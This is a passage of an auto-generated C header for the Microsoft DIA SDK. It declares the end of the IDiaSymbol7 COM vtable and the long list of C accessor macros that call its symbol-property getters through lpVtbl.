HRESULT ( STDMETHODCALLTYPE *get_constantExport )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataExport )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_privateExport )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noNameExport )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportHasExplicitlyAssignedOrdinal )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportIsForwarder )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ordinal )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frameSize )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressSection )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressOffset )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerRelativeVirtualAddress )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerVirtualAddress )( IDiaSymbol7 * This, /* [retval][out] */ ULONGLONG *pRetVal); HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( IDiaSymbol7 * This, /* [out] */ IDiaInputAssemblyFile **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_characteristics )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coffGroup )( IDiaSymbol7 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindID )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSpace )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSlot )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCClass )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCCategory )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCProtocol )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlinee )( IDiaSymbol7 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlineeId )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noexcept )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAbsoluteAddress )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStaticMemberFunc )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSignRet )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); END_INTERFACE } IDiaSymbol7Vtbl; interface IDiaSymbol7 { CONST_VTBL struct IDiaSymbol7Vtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaSymbol7_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaSymbol7_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaSymbol7_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaSymbol7_get_symIndexId(This,pRetVal) \ ( (This)->lpVtbl -> get_symIndexId(This,pRetVal) ) #define IDiaSymbol7_get_symTag(This,pRetVal) \ ( (This)->lpVtbl -> get_symTag(This,pRetVal) ) #define IDiaSymbol7_get_name(This,pRetVal) \ ( (This)->lpVtbl -> get_name(This,pRetVal) ) #define IDiaSymbol7_get_lexicalParent(This,pRetVal) \ ( (This)->lpVtbl -> get_lexicalParent(This,pRetVal) ) #define IDiaSymbol7_get_classParent(This,pRetVal) \ ( (This)->lpVtbl -> get_classParent(This,pRetVal) ) #define IDiaSymbol7_get_type(This,pRetVal) \ ( (This)->lpVtbl -> get_type(This,pRetVal) ) #define IDiaSymbol7_get_dataKind(This,pRetVal) \ ( (This)->lpVtbl -> get_dataKind(This,pRetVal) ) #define IDiaSymbol7_get_locationType(This,pRetVal) \ ( (This)->lpVtbl -> get_locationType(This,pRetVal) ) #define IDiaSymbol7_get_addressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) #define IDiaSymbol7_get_addressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) #define IDiaSymbol7_get_relativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol7_get_virtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) #define IDiaSymbol7_get_registerId(This,pRetVal) \ ( (This)->lpVtbl -> get_registerId(This,pRetVal) ) #define IDiaSymbol7_get_offset(This,pRetVal) \ ( (This)->lpVtbl -> get_offset(This,pRetVal) ) #define IDiaSymbol7_get_length(This,pRetVal) \ ( (This)->lpVtbl -> get_length(This,pRetVal) ) #define IDiaSymbol7_get_slot(This,pRetVal) \ ( (This)->lpVtbl -> get_slot(This,pRetVal) ) #define IDiaSymbol7_get_volatileType(This,pRetVal) \ ( (This)->lpVtbl -> get_volatileType(This,pRetVal) ) #define IDiaSymbol7_get_constType(This,pRetVal) \ ( (This)->lpVtbl -> get_constType(This,pRetVal) ) #define IDiaSymbol7_get_unalignedType(This,pRetVal) \ ( (This)->lpVtbl -> get_unalignedType(This,pRetVal) ) #define IDiaSymbol7_get_access(This,pRetVal) \ ( (This)->lpVtbl -> get_access(This,pRetVal) ) #define IDiaSymbol7_get_libraryName(This,pRetVal) \ ( (This)->lpVtbl -> get_libraryName(This,pRetVal) ) #define IDiaSymbol7_get_platform(This,pRetVal) \ ( (This)->lpVtbl -> get_platform(This,pRetVal) ) #define IDiaSymbol7_get_language(This,pRetVal) \ ( (This)->lpVtbl -> get_language(This,pRetVal) ) #define IDiaSymbol7_get_editAndContinueEnabled(This,pRetVal) \ ( (This)->lpVtbl -> get_editAndContinueEnabled(This,pRetVal) ) #define IDiaSymbol7_get_frontEndMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndMajor(This,pRetVal) ) #define IDiaSymbol7_get_frontEndMinor(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndMinor(This,pRetVal) ) #define IDiaSymbol7_get_frontEndBuild(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndBuild(This,pRetVal) ) #define IDiaSymbol7_get_backEndMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndMajor(This,pRetVal) ) #define IDiaSymbol7_get_backEndMinor(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndMinor(This,pRetVal) ) #define IDiaSymbol7_get_backEndBuild(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndBuild(This,pRetVal) ) #define IDiaSymbol7_get_sourceFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_sourceFileName(This,pRetVal) ) #define IDiaSymbol7_get_unused(This,pRetVal) \ ( (This)->lpVtbl -> get_unused(This,pRetVal) ) #define IDiaSymbol7_get_thunkOrdinal(This,pRetVal) \ ( (This)->lpVtbl -> get_thunkOrdinal(This,pRetVal) ) #define IDiaSymbol7_get_thisAdjust(This,pRetVal) \ ( (This)->lpVtbl -> get_thisAdjust(This,pRetVal) ) #define IDiaSymbol7_get_virtualBaseOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseOffset(This,pRetVal) ) #define IDiaSymbol7_get_virtual(This,pRetVal) \ ( (This)->lpVtbl -> get_virtual(This,pRetVal) ) #define IDiaSymbol7_get_intro(This,pRetVal) \ ( (This)->lpVtbl -> get_intro(This,pRetVal) ) #define IDiaSymbol7_get_pure(This,pRetVal) \ ( (This)->lpVtbl -> get_pure(This,pRetVal) ) #define IDiaSymbol7_get_callingConvention(This,pRetVal) \ ( (This)->lpVtbl -> get_callingConvention(This,pRetVal) ) #define IDiaSymbol7_get_value(This,pRetVal) \ ( (This)->lpVtbl -> get_value(This,pRetVal) ) #define IDiaSymbol7_get_baseType(This,pRetVal) \ ( (This)->lpVtbl -> get_baseType(This,pRetVal) ) #define IDiaSymbol7_get_token(This,pRetVal) \ ( (This)->lpVtbl -> get_token(This,pRetVal) ) #define IDiaSymbol7_get_timeStamp(This,pRetVal) \ ( (This)->lpVtbl -> get_timeStamp(This,pRetVal) ) #define IDiaSymbol7_get_guid(This,pRetVal) \ ( (This)->lpVtbl -> get_guid(This,pRetVal) ) #define IDiaSymbol7_get_symbolsFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_symbolsFileName(This,pRetVal) ) #define IDiaSymbol7_get_reference(This,pRetVal) \ ( (This)->lpVtbl -> get_reference(This,pRetVal) ) #define IDiaSymbol7_get_count(This,pRetVal) \ ( (This)->lpVtbl -> get_count(This,pRetVal) ) #define IDiaSymbol7_get_bitPosition(This,pRetVal) \ ( (This)->lpVtbl -> get_bitPosition(This,pRetVal) ) #define IDiaSymbol7_get_arrayIndexType(This,pRetVal) \ ( (This)->lpVtbl -> get_arrayIndexType(This,pRetVal) ) #define IDiaSymbol7_get_packed(This,pRetVal) \ ( (This)->lpVtbl -> get_packed(This,pRetVal) ) #define IDiaSymbol7_get_constructor(This,pRetVal) \ ( (This)->lpVtbl -> get_constructor(This,pRetVal) ) #define IDiaSymbol7_get_overloadedOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_overloadedOperator(This,pRetVal) ) #define IDiaSymbol7_get_nested(This,pRetVal) \ ( (This)->lpVtbl -> get_nested(This,pRetVal) ) #define IDiaSymbol7_get_hasNestedTypes(This,pRetVal) \ ( (This)->lpVtbl -> get_hasNestedTypes(This,pRetVal) ) #define IDiaSymbol7_get_hasAssignmentOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAssignmentOperator(This,pRetVal) ) #define IDiaSymbol7_get_hasCastOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_hasCastOperator(This,pRetVal) ) #define IDiaSymbol7_get_scoped(This,pRetVal) \ ( (This)->lpVtbl -> get_scoped(This,pRetVal) ) #define IDiaSymbol7_get_virtualBaseClass(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseClass(This,pRetVal) ) #define IDiaSymbol7_get_indirectVirtualBaseClass(This,pRetVal) \ ( (This)->lpVtbl -> get_indirectVirtualBaseClass(This,pRetVal) ) #define IDiaSymbol7_get_virtualBasePointerOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBasePointerOffset(This,pRetVal) ) #define IDiaSymbol7_get_virtualTableShape(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualTableShape(This,pRetVal) ) #define IDiaSymbol7_get_lexicalParentId(This,pRetVal) \ ( (This)->lpVtbl -> get_lexicalParentId(This,pRetVal) ) #define IDiaSymbol7_get_classParentId(This,pRetVal) \ ( (This)->lpVtbl -> get_classParentId(This,pRetVal) ) #define IDiaSymbol7_get_typeId(This,pRetVal) \ ( (This)->lpVtbl -> get_typeId(This,pRetVal) ) #define IDiaSymbol7_get_arrayIndexTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_arrayIndexTypeId(This,pRetVal) ) #define IDiaSymbol7_get_virtualTableShapeId(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualTableShapeId(This,pRetVal) ) #define IDiaSymbol7_get_code(This,pRetVal) \ ( (This)->lpVtbl -> get_code(This,pRetVal) ) #define IDiaSymbol7_get_function(This,pRetVal) \ ( (This)->lpVtbl -> get_function(This,pRetVal) ) #define IDiaSymbol7_get_managed(This,pRetVal) \ ( (This)->lpVtbl -> get_managed(This,pRetVal) ) #define IDiaSymbol7_get_msil(This,pRetVal) \ ( (This)->lpVtbl -> get_msil(This,pRetVal) ) #define IDiaSymbol7_get_virtualBaseDispIndex(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseDispIndex(This,pRetVal) ) #define IDiaSymbol7_get_undecoratedName(This,pRetVal) \ ( (This)->lpVtbl -> get_undecoratedName(This,pRetVal) ) #define IDiaSymbol7_get_age(This,pRetVal) \ ( (This)->lpVtbl -> get_age(This,pRetVal) ) #define IDiaSymbol7_get_signature(This,pRetVal) \ ( (This)->lpVtbl -> get_signature(This,pRetVal) ) #define IDiaSymbol7_get_compilerGenerated(This,pRetVal) \ ( (This)->lpVtbl -> get_compilerGenerated(This,pRetVal) ) #define IDiaSymbol7_get_addressTaken(This,pRetVal) \ ( (This)->lpVtbl -> get_addressTaken(This,pRetVal) ) #define IDiaSymbol7_get_rank(This,pRetVal) \ ( (This)->lpVtbl -> get_rank(This,pRetVal) ) #define IDiaSymbol7_get_lowerBound(This,pRetVal) \ ( (This)->lpVtbl -> get_lowerBound(This,pRetVal) ) #define IDiaSymbol7_get_upperBound(This,pRetVal) \ ( (This)->lpVtbl -> get_upperBound(This,pRetVal) ) #define IDiaSymbol7_get_lowerBoundId(This,pRetVal) \ ( (This)->lpVtbl -> get_lowerBoundId(This,pRetVal) ) #define IDiaSymbol7_get_upperBoundId(This,pRetVal) \ ( (This)->lpVtbl -> get_upperBoundId(This,pRetVal) ) #define IDiaSymbol7_get_dataBytes(This,cbData,pcbData,pbData) \ ( (This)->lpVtbl -> get_dataBytes(This,cbData,pcbData,pbData) ) #define IDiaSymbol7_findChildren(This,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildren(This,symtag,name,compareFlags,ppResult) ) #define IDiaSymbol7_findChildrenEx(This,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildrenEx(This,symtag,name,compareFlags,ppResult) ) #define IDiaSymbol7_findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) \ ( (This)->lpVtbl -> findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) ) #define IDiaSymbol7_findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) \ ( (This)->lpVtbl -> findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) ) #define IDiaSymbol7_findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) \ ( (This)->lpVtbl -> findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) ) #define IDiaSymbol7_get_targetSection(This,pRetVal) \ ( (This)->lpVtbl -> get_targetSection(This,pRetVal) ) #define IDiaSymbol7_get_targetOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_targetOffset(This,pRetVal) ) #define IDiaSymbol7_get_targetRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_targetRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol7_get_targetVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_targetVirtualAddress(This,pRetVal) ) #define IDiaSymbol7_get_machineType(This,pRetVal) \ ( (This)->lpVtbl -> get_machineType(This,pRetVal) ) #define IDiaSymbol7_get_oemId(This,pRetVal) \ ( (This)->lpVtbl -> get_oemId(This,pRetVal) ) #define IDiaSymbol7_get_oemSymbolId(This,pRetVal) \ ( (This)->lpVtbl -> get_oemSymbolId(This,pRetVal) ) #define IDiaSymbol7_get_types(This,cTypes,pcTypes,pTypes) \ ( (This)->lpVtbl -> get_types(This,cTypes,pcTypes,pTypes) ) #define IDiaSymbol7_get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) \ ( (This)->lpVtbl -> get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) ) #define IDiaSymbol7_get_objectPointerType(This,pRetVal) \ ( (This)->lpVtbl -> get_objectPointerType(This,pRetVal) ) #define IDiaSymbol7_get_udtKind(This,pRetVal) \ ( (This)->lpVtbl -> get_udtKind(This,pRetVal) ) #define IDiaSymbol7_get_undecoratedNameEx(This,undecorateOptions,name) \ ( (This)->lpVtbl -> get_undecoratedNameEx(This,undecorateOptions,name) ) #define IDiaSymbol7_get_noReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_noReturn(This,pRetVal) ) #define IDiaSymbol7_get_customCallingConvention(This,pRetVal) \ ( (This)->lpVtbl -> get_customCallingConvention(This,pRetVal) ) #define IDiaSymbol7_get_noInline(This,pRetVal) \ ( (This)->lpVtbl -> get_noInline(This,pRetVal) ) #define IDiaSymbol7_get_optimizedCodeDebugInfo(This,pRetVal) \ ( (This)->lpVtbl -> get_optimizedCodeDebugInfo(This,pRetVal) ) #define IDiaSymbol7_get_notReached(This,pRetVal) \ ( (This)->lpVtbl -> get_notReached(This,pRetVal) ) #define IDiaSymbol7_get_interruptReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_interruptReturn(This,pRetVal) ) #define IDiaSymbol7_get_farReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_farReturn(This,pRetVal) ) #define IDiaSymbol7_get_isStatic(This,pRetVal) \ ( (This)->lpVtbl -> get_isStatic(This,pRetVal) ) #define IDiaSymbol7_get_hasDebugInfo(This,pRetVal) \ ( (This)->lpVtbl -> get_hasDebugInfo(This,pRetVal) ) #define IDiaSymbol7_get_isLTCG(This,pRetVal) \ ( (This)->lpVtbl -> get_isLTCG(This,pRetVal) ) #define IDiaSymbol7_get_isDataAligned(This,pRetVal) \ ( (This)->lpVtbl -> get_isDataAligned(This,pRetVal) ) #define IDiaSymbol7_get_hasSecurityChecks(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSecurityChecks(This,pRetVal) ) #define IDiaSymbol7_get_compilerName(This,pRetVal) \ ( (This)->lpVtbl -> get_compilerName(This,pRetVal) ) #define IDiaSymbol7_get_hasAlloca(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAlloca(This,pRetVal) ) #define IDiaSymbol7_get_hasSetJump(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSetJump(This,pRetVal) ) #define IDiaSymbol7_get_hasLongJump(This,pRetVal) \ ( (This)->lpVtbl -> get_hasLongJump(This,pRetVal) ) #define IDiaSymbol7_get_hasInlAsm(This,pRetVal) \ ( (This)->lpVtbl -> get_hasInlAsm(This,pRetVal) ) #define IDiaSymbol7_get_hasEH(This,pRetVal) \ ( (This)->lpVtbl -> get_hasEH(This,pRetVal) ) #define IDiaSymbol7_get_hasSEH(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSEH(This,pRetVal) ) #define IDiaSymbol7_get_hasEHa(This,pRetVal) \ ( (This)->lpVtbl -> get_hasEHa(This,pRetVal) ) #define IDiaSymbol7_get_isNaked(This,pRetVal) \ ( (This)->lpVtbl -> get_isNaked(This,pRetVal) ) #define IDiaSymbol7_get_isAggregated(This,pRetVal) \ ( (This)->lpVtbl -> get_isAggregated(This,pRetVal) ) #define IDiaSymbol7_get_isSplitted(This,pRetVal) \ ( (This)->lpVtbl -> get_isSplitted(This,pRetVal) ) #define IDiaSymbol7_get_container(This,pRetVal) \ ( (This)->lpVtbl -> get_container(This,pRetVal) ) #define IDiaSymbol7_get_inlSpec(This,pRetVal) \ ( (This)->lpVtbl -> get_inlSpec(This,pRetVal) ) #define IDiaSymbol7_get_noStackOrdering(This,pRetVal) \ ( (This)->lpVtbl -> get_noStackOrdering(This,pRetVal) ) #define IDiaSymbol7_get_virtualBaseTableType(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseTableType(This,pRetVal) ) #define IDiaSymbol7_get_hasManagedCode(This,pRetVal) \ ( (This)->lpVtbl -> get_hasManagedCode(This,pRetVal) ) #define IDiaSymbol7_get_isHotpatchable(This,pRetVal) \ ( (This)->lpVtbl -> get_isHotpatchable(This,pRetVal) ) #define IDiaSymbol7_get_isCVTCIL(This,pRetVal) \ ( (This)->lpVtbl -> get_isCVTCIL(This,pRetVal) ) #define IDiaSymbol7_get_isMSILNetmodule(This,pRetVal) \ ( (This)->lpVtbl -> get_isMSILNetmodule(This,pRetVal) ) #define IDiaSymbol7_get_isCTypes(This,pRetVal) \ ( (This)->lpVtbl -> get_isCTypes(This,pRetVal) ) #define IDiaSymbol7_get_isStripped(This,pRetVal) \ ( (This)->lpVtbl -> get_isStripped(This,pRetVal) ) #define IDiaSymbol7_get_frontEndQFE(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndQFE(This,pRetVal) ) #define IDiaSymbol7_get_backEndQFE(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndQFE(This,pRetVal) ) #define IDiaSymbol7_get_wasInlined(This,pRetVal) \ ( (This)->lpVtbl -> get_wasInlined(This,pRetVal) ) #define IDiaSymbol7_get_strictGSCheck(This,pRetVal) \ ( (This)->lpVtbl -> get_strictGSCheck(This,pRetVal) ) #define IDiaSymbol7_get_isCxxReturnUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isCxxReturnUdt(This,pRetVal) ) #define IDiaSymbol7_get_isConstructorVirtualBase(This,pRetVal) \ ( (This)->lpVtbl -> get_isConstructorVirtualBase(This,pRetVal) ) #define IDiaSymbol7_get_RValueReference(This,pRetVal) \ ( (This)->lpVtbl -> get_RValueReference(This,pRetVal) ) #define IDiaSymbol7_get_unmodifiedType(This,pRetVal) \ ( (This)->lpVtbl -> get_unmodifiedType(This,pRetVal) ) #define IDiaSymbol7_get_framePointerPresent(This,pRetVal) \ ( (This)->lpVtbl -> get_framePointerPresent(This,pRetVal) ) #define IDiaSymbol7_get_isSafeBuffers(This,pRetVal) \ ( (This)->lpVtbl -> get_isSafeBuffers(This,pRetVal) ) #define IDiaSymbol7_get_intrinsic(This,pRetVal) \ ( (This)->lpVtbl -> get_intrinsic(This,pRetVal) ) #define IDiaSymbol7_get_sealed(This,pRetVal) \ ( (This)->lpVtbl -> get_sealed(This,pRetVal) ) #define IDiaSymbol7_get_hfaFloat(This,pRetVal) \ ( (This)->lpVtbl -> get_hfaFloat(This,pRetVal) ) #define IDiaSymbol7_get_hfaDouble(This,pRetVal) \ ( (This)->lpVtbl -> get_hfaDouble(This,pRetVal) ) #define IDiaSymbol7_get_liveRangeStartAddressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartAddressSection(This,pRetVal) ) #define IDiaSymbol7_get_liveRangeStartAddressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartAddressOffset(This,pRetVal) ) #define IDiaSymbol7_get_liveRangeStartRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol7_get_countLiveRanges(This,pRetVal) \ ( (This)->lpVtbl -> get_countLiveRanges(This,pRetVal) ) #define IDiaSymbol7_get_liveRangeLength(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeLength(This,pRetVal) ) #define IDiaSymbol7_get_offsetInUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_offsetInUdt(This,pRetVal) ) #define IDiaSymbol7_get_paramBasePointerRegisterId(This,pRetVal) \ ( (This)->lpVtbl -> get_paramBasePointerRegisterId(This,pRetVal) ) #define IDiaSymbol7_get_localBasePointerRegisterId(This,pRetVal) \ ( (This)->lpVtbl -> get_localBasePointerRegisterId(This,pRetVal) ) #define IDiaSymbol7_get_isLocationControlFlowDependent(This,pRetVal) \ ( (This)->lpVtbl -> get_isLocationControlFlowDependent(This,pRetVal) ) #define IDiaSymbol7_get_stride(This,pRetVal) \ ( (This)->lpVtbl -> get_stride(This,pRetVal) ) #define IDiaSymbol7_get_numberOfRows(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfRows(This,pRetVal) ) #define IDiaSymbol7_get_numberOfColumns(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfColumns(This,pRetVal) ) #define IDiaSymbol7_get_isMatrixRowMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_isMatrixRowMajor(This,pRetVal) ) #define IDiaSymbol7_get_numericProperties(This,cnt,pcnt,pProperties) \ ( (This)->lpVtbl -> get_numericProperties(This,cnt,pcnt,pProperties) ) #define IDiaSymbol7_get_modifierValues(This,cnt,pcnt,pModifiers) \ ( (This)->lpVtbl -> get_modifierValues(This,cnt,pcnt,pModifiers) ) #define IDiaSymbol7_get_isReturnValue(This,pRetVal) \ ( (This)->lpVtbl -> get_isReturnValue(This,pRetVal) ) #define IDiaSymbol7_get_isOptimizedAway(This,pRetVal) \ ( (This)->lpVtbl -> get_isOptimizedAway(This,pRetVal) ) #define IDiaSymbol7_get_builtInKind(This,pRetVal) \ ( (This)->lpVtbl -> get_builtInKind(This,pRetVal) ) #define IDiaSymbol7_get_registerType(This,pRetVal) \ ( (This)->lpVtbl -> get_registerType(This,pRetVal) ) #define IDiaSymbol7_get_baseDataSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_baseDataSlot(This,pRetVal) ) #define IDiaSymbol7_get_baseDataOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_baseDataOffset(This,pRetVal) ) #define IDiaSymbol7_get_textureSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_textureSlot(This,pRetVal) ) #define IDiaSymbol7_get_samplerSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_samplerSlot(This,pRetVal) ) #define IDiaSymbol7_get_uavSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_uavSlot(This,pRetVal) ) #define IDiaSymbol7_get_sizeInUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_sizeInUdt(This,pRetVal) ) #define IDiaSymbol7_get_memorySpaceKind(This,pRetVal) \ ( (This)->lpVtbl -> get_memorySpaceKind(This,pRetVal) ) #define IDiaSymbol7_get_unmodifiedTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_unmodifiedTypeId(This,pRetVal) ) #define IDiaSymbol7_get_subTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_subTypeId(This,pRetVal) ) #define IDiaSymbol7_get_subType(This,pRetVal) \ ( (This)->lpVtbl -> get_subType(This,pRetVal) ) #define IDiaSymbol7_get_numberOfModifiers(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfModifiers(This,pRetVal) ) #define IDiaSymbol7_get_numberOfRegisterIndices(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfRegisterIndices(This,pRetVal) ) #define IDiaSymbol7_get_isHLSLData(This,pRetVal) \ ( (This)->lpVtbl -> get_isHLSLData(This,pRetVal) ) #define IDiaSymbol7_get_isPointerToDataMember(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerToDataMember(This,pRetVal) ) #define IDiaSymbol7_get_isPointerToMemberFunction(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerToMemberFunction(This,pRetVal) ) #define IDiaSymbol7_get_isSingleInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isSingleInheritance(This,pRetVal) ) #define IDiaSymbol7_get_isMultipleInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isMultipleInheritance(This,pRetVal) ) #define IDiaSymbol7_get_isVirtualInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isVirtualInheritance(This,pRetVal) ) #define IDiaSymbol7_get_restrictedType(This,pRetVal) \ ( (This)->lpVtbl -> get_restrictedType(This,pRetVal) ) #define IDiaSymbol7_get_isPointerBasedOnSymbolValue(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerBasedOnSymbolValue(This,pRetVal) ) #define IDiaSymbol7_get_baseSymbol(This,pRetVal) \ ( (This)->lpVtbl -> get_baseSymbol(This,pRetVal) ) #define IDiaSymbol7_get_baseSymbolId(This,pRetVal) \ ( (This)->lpVtbl -> get_baseSymbolId(This,pRetVal) ) #define IDiaSymbol7_get_objectFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_objectFileName(This,pRetVal) ) #define IDiaSymbol7_get_isAcceleratorGroupSharedLocal(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorGroupSharedLocal(This,pRetVal) ) #define IDiaSymbol7_get_isAcceleratorPointerTagLiveRange(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorPointerTagLiveRange(This,pRetVal) ) #define IDiaSymbol7_get_isAcceleratorStubFunction(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorStubFunction(This,pRetVal) ) #define IDiaSymbol7_get_numberOfAcceleratorPointerTags(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfAcceleratorPointerTags(This,pRetVal) ) #define IDiaSymbol7_get_isSdl(This,pRetVal) \ ( (This)->lpVtbl -> 